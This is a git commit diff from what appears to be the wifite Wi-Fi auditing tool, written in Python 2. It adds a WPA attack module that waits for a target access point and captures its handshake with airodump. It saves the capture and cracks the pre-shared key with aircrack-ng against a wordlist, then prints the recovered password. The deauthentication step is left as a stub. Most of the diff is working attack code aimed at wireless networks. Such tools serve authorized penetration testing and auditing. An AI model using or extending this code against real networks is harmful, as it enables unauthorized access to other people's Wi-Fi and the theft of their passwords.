WPA handshake capture and cracking almost setup

This commit is contained in:
derv82
2015-06-01 00:30:02 -07:00
parent 50538168e2
commit 625642fee7
8 changed files with 189 additions and 19 deletions

View File

@@ -85,10 +85,8 @@ class AttackWEP(Attack):
essid = airodump_target.essid essid = airodump_target.essid
else: else:
essid = None essid = None
print '\n' Color.pl('\n{+} {C}%s{W} WEP attack {G}successful{W}\n'
Color.pl('{+} {C}%s{W} WEP attack {G}successful{W}'
% attack_name) % attack_name)
print ''
if aireplay: if aireplay:
aireplay.stop() aireplay.stop()
self.crack_result = CrackResultWEP(bssid, \ self.crack_result = CrackResultWEP(bssid, \
@@ -138,8 +136,8 @@ class AttackWEP(Attack):
# TODO: Check for .xor file. # TODO: Check for .xor file.
# If .xor is not there, the process failed. Check stdout. # If .xor is not there, the process failed. Check stdout.
# XXX: For debugging # XXX: For debugging
print '\n%s stopped, output:' % attack_name Color.pl('\n%s stopped, output:' % attack_name)
print aireplay.get_output() Color.pl(aireplay.get_output())
break break
# If .xor exists, run packetforge-ng to create .cap # If .xor exists, run packetforge-ng to create .cap
@@ -148,8 +146,8 @@ class AttackWEP(Attack):
# 2. Start Aireplay to replay the .cap file # 2. Start Aireplay to replay the .cap file
else: else:
Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}')
print '\naireplay.get_output():' Color.pl('\naireplay.get_output():')
print aireplay.get_output() Color.pl(aireplay.get_output())
break break
# Check if IVs stopped flowing (same for > N seconds) # Check if IVs stopped flowing (same for > N seconds)

View File

@@ -1,10 +1,19 @@
#!/usr/bin/python #!/usr/bin/python
from Attack import Attack from Attack import Attack
from Airodump import Airodump
from Color import Color
from Configuration import Configuration
from Handshake import Handshake
from Process import Process
from WPAResult import WPAResult
import time
class AttackWPA(Attack): class AttackWPA(Attack):
def __init__(self, target): def __init__(self, target):
super(AttackWPA, self).__init__(target) super(AttackWPA, self).__init__(target)
self.crack_result = None
def run(self): def run(self):
''' '''
@@ -15,8 +24,117 @@ class AttackWPA(Attack):
target_bssid=self.target.bssid, target_bssid=self.target.bssid,
output_file_prefix='wpa') as airodump: output_file_prefix='wpa') as airodump:
Color.p('\r{+} {O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
for attack_num in xrange(1, 6): clients = airodump_target.clients
attack_type = WEPAttackType(attack_num) client_index = 0
handshake = None
time_since_deauth = time.time()
while True:
Color.p('\r %s' % (' ' * 45))
Color.p('\r{+} waiting for {C}handshake{W}...')
time.sleep(1)
# Find .cap file
cap_files = airodump.find_files(endswith='.cap')
if len(cap_files) == 0:
# No cap files yet
continue
cap_file = cap_files[0]
# Check for Handshake
bssid = airodump_target.bssid
essid = None
if airodump_target.essid_known:
essid = airodump_target.essid
handshake = Handshake(cap_file, bssid=bssid, essid=essid)
if handshake.has_handshake():
# We got a handshake
Color.pl(' {G}captured handshake!{W}')
break
# TODO: Send deauth to a client or broadcast
if time.time()-time_since_deauth > Configuration.wpa_deauth_timeout:
if len(clients) == 0 or client_index >= len(clients):
# Send deauth for broadcoast
client_index = 0
else:
# Send deauth for client
client = clients[client_index]
client_index += 1
time_since_deauth = time.time()
continue
if not handshake:
# No handshake, attack failed.
raise Exception('Handshake not captured')
return False
key = None
# TODO: Save copy of handshake to ./hs/
import os
if not os.path.exists('hs'):
os.mkdir('hs')
import re
essid_safe = re.sub('[^a-zA-Z0-9]', '', handshake.essid)
bssid_safe = handshake.bssid.replace(':', '-')
date = time.strftime('%Y-%m-%dT%H-%M-%S')
cap_filename = 'handshake_%s_%s_%s.cap' % (essid_safe, bssid_safe, date)
cap_filename = os.path.join('hs', cap_filename)
from shutil import copy
Color.p('{+} saving copy of {C}handshake{W} to {C}%s{W} ' % cap_filename)
copy(handshake.capfile, cap_filename)
Color.pl(' {G}saved{W}')
handshake.capfile = cap_filename
# TODO: Crack handshake
wordlist = Configuration.wordlist
if wordlist != None:
if not os.path.exists(wordlist):
Color.pl('{!} {R}unable to crack:' +
' wordlist {O}%s{R} does not exist{W}' % wordlist)
else:
# We have a wordlist we can use
Color.p('{+} {G}cracking{W} handshake using {C}%s{W} wordlist'
% wordlist.split(os.sep)[-1])
# TODO: More-verbose cracking status
# 1. Read number of lines in 'wordlist'
# 2. Pipe aircrack stdout to file
# 3. Read from file every second, get keys tried so far
# 4. Display # of keys tried / total keys, and ETA
key_file = Configuration.temp('wpakey.txt')
command = [
'aircrack-ng',
'-a', '2',
'-w', wordlist,
'-l', key_file,
handshake.capfile
]
aircrack = Process(command, devnull=True)
aircrack.wait()
if os.path.exists(key_file):
# We cracked it.
Color.pl('{G}cracked{W}')
f = open(key_file, 'r')
key = f.read()
f.close()
else:
Color.pl('{R}failed{W}')
self.crack_result = WPAResult(bssid, essid, handshake.capfile, key)
self.crack_result.dump()
return True
if __name__ == '__main__':
from Target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
target = Target(fields)
wpa = AttackWPA(target)
wpa.run()

View File

@@ -23,6 +23,8 @@ class Color(object):
'{!}': ' {W}[{R}!{W}]' '{!}': ' {W}[{R}!{W}]'
} }
last_sameline_length = 0
@staticmethod @staticmethod
def p(text): def p(text):
''' '''
@@ -32,6 +34,7 @@ class Color(object):
''' '''
sys.stdout.write(Color.s(text)) sys.stdout.write(Color.s(text))
sys.stdout.flush() sys.stdout.flush()
Color.last_sameline_length += len(text)
@staticmethod @staticmethod
def pl(text): def pl(text):
@@ -39,6 +42,7 @@ class Color(object):
Prints text using colored format with trailing new line. Prints text using colored format with trailing new line.
''' '''
Color.p('%s\n' % text) Color.p('%s\n' % text)
Color.last_sameline_length = 0
@staticmethod @staticmethod
def s(text): def s(text):
@@ -50,6 +54,12 @@ class Color(object):
output = output.replace("{%s}" % key, value) output = output.replace("{%s}" % key, value)
return output return output
@staticmethod
def clear_line():
spaces = ' ' * Color.last_sameline_length
sys.stdout.write('\r%s\r' % spaces)
sys.stdout.flush()
if __name__ == '__main__': if __name__ == '__main__':
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done") Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
print Color.s("{C}Testing{P}String{W}") print Color.s("{C}Testing{P}String{W}")

View File

@@ -95,11 +95,11 @@ class Configuration(object):
@staticmethod @staticmethod
def temp(): def temp(subfile=''):
''' Creates and/or returns the temporary directory ''' ''' Creates and/or returns the temporary directory '''
if Configuration.temp_dir == None: if Configuration.temp_dir == None:
Configuration.temp_dir = Configuration.create_temp() Configuration.temp_dir = Configuration.create_temp()
return Configuration.temp_dir return Configuration.temp_dir + subfile
@staticmethod @staticmethod
def create_temp(): def create_temp():

View File

@@ -59,15 +59,22 @@ class Handshake(object):
if not self.bssid or not self.essid: if not self.bssid or not self.essid:
self.divine_essid_and_bssid() self.divine_essid_and_bssid()
if self.tshark_handshakes(): if len(self.tshark_handshakes()) > 0:
return True return True
if self.cowpatty_handshakes(): if len(self.cowpatty_handshakes()) > 0:
return True return True
if self.pyrit_handshakes(): if len(self.pyrit_handshakes()) > 0:
return True return True
# XXX: Disabling aircrack check since I don't think it's reliable.
'''
if len(self.aircrack_handshakes()) > 0:
return True
'''
return False
def tshark_bssid_essid_pairs(self): def tshark_bssid_essid_pairs(self):
''' '''

View File

@@ -86,6 +86,9 @@ class Process(object):
''' Returns exit code if process is dead, otherwise "None" ''' ''' Returns exit code if process is dead, otherwise "None" '''
return self.pid.poll() return self.pid.poll()
def wait(self):
self.pid.wait()
def running_time(self): def running_time(self):
''' Returns number of seconds since process was started ''' ''' Returns number of seconds since process was started '''
return int(time.time() - self.start_time) return int(time.time() - self.start_time)

View File

@@ -71,7 +71,7 @@ class Scanner(object):
else: else:
# We can fit the targets in the terminal without scrolling # We can fit the targets in the terminal without scrolling
# "Move" cursor up so we will print over the previous list # "Move" cursor up so we will print over the previous list
print Scanner.UP_CHAR * (3 + self.previous_target_count) Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))
self.previous_target_count = len(self.targets) self.previous_target_count = len(self.targets)
@@ -109,6 +109,9 @@ class Scanner(object):
chosen_targets = [] chosen_targets = []
for choice in raw_input(Color.s(input_str)).split(','): for choice in raw_input(Color.s(input_str)).split(','):
if choice == 'all':
chosen_targets = self.targets
break
if '-' in choice: if '-' in choice:
# User selected a range # User selected a range
(lower,upper) = [int(x) - 1 for x in choice.split('-')] (lower,upper) = [int(x) - 1 for x in choice.split('-')]
@@ -130,7 +133,6 @@ if __name__ == '__main__':
Color.pl('\r {!} {R}Error{W}: %s' % str(e)) Color.pl('\r {!} {R}Error{W}: %s' % str(e))
Configuration.exit_gracefully(0) Configuration.exit_gracefully(0)
for t in targets: for t in targets:
Color.p("{W}Selected: ") Color.pl(" {W}Selected: %s" % t)
print t
Configuration.exit_gracefully(0) Configuration.exit_gracefully(0)

32
py/WPAResult.py Normal file
View File

@@ -0,0 +1,32 @@
#!/usr/bin/python
from Color import Color
class WPAResult(object):
def __init__(self, bssid, essid, handshake_file, key):
self.bssid = bssid
self.essid = essid
self.handshake_file = handshake_file
self.key = key
def dump(self):
if self.essid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point Name'.rjust(19), self.essid))
if self.bssid:
Color.pl('{+} %s: {C}%s{W}' %
('Access Point BSSID'.rjust(19), self.bssid))
if self.handshake_file:
Color.pl('{+} %s: {C}%s{W}' %
('Handshake File'.rjust(19), self.handshake_file))
if self.key:
Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key))
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
if __name__ == '__main__':
w = WPAResult('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'abcd1234')
w.dump()
print '\n'
w = WPAResult('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', None)
w.dump()